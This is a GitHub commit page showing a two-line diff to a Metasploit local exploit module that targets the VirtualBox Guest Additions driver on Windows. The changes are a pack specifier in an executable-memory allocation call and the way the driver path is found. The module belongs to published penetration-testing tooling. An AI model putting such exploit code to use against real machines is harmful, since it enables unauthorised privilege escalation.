Skip to content

Commit 4a01c27

Browse files
committed
Use get_env and good pack specifier
1 parent 50e2e32 commit 4a01c27

File tree

1 file changed

+2
-2
lines changed

1 file changed

+2
-2
lines changed

modules/exploits/windows/local/virtual_box_guest_additions.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -64,7 +64,7 @@ def initialize(info={})
6464

6565
def fill_memory(proc, address, length, content)
6666

67-
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack("L"), nil, [ length ].pack("L"), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
67+
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
6868

6969
if not proc.memory.writable?(address)
7070
vprint_error("Failed to allocate memory")
@@ -101,7 +101,7 @@ def check
101101
return Exploit::CheckCode::Safe
102102
end
103103

104-
file_path = expand_path("%windir%") << "\\system32\\drivers\\vboxguest.sys"
104+
file_path = get_env('WINDIR') << "\\system32\\drivers\\vboxguest.sys"
105105
unless file?(file_path)
106106
return Exploit::CheckCode::Unknown
107107
end

0 commit comments

Comments
 (0)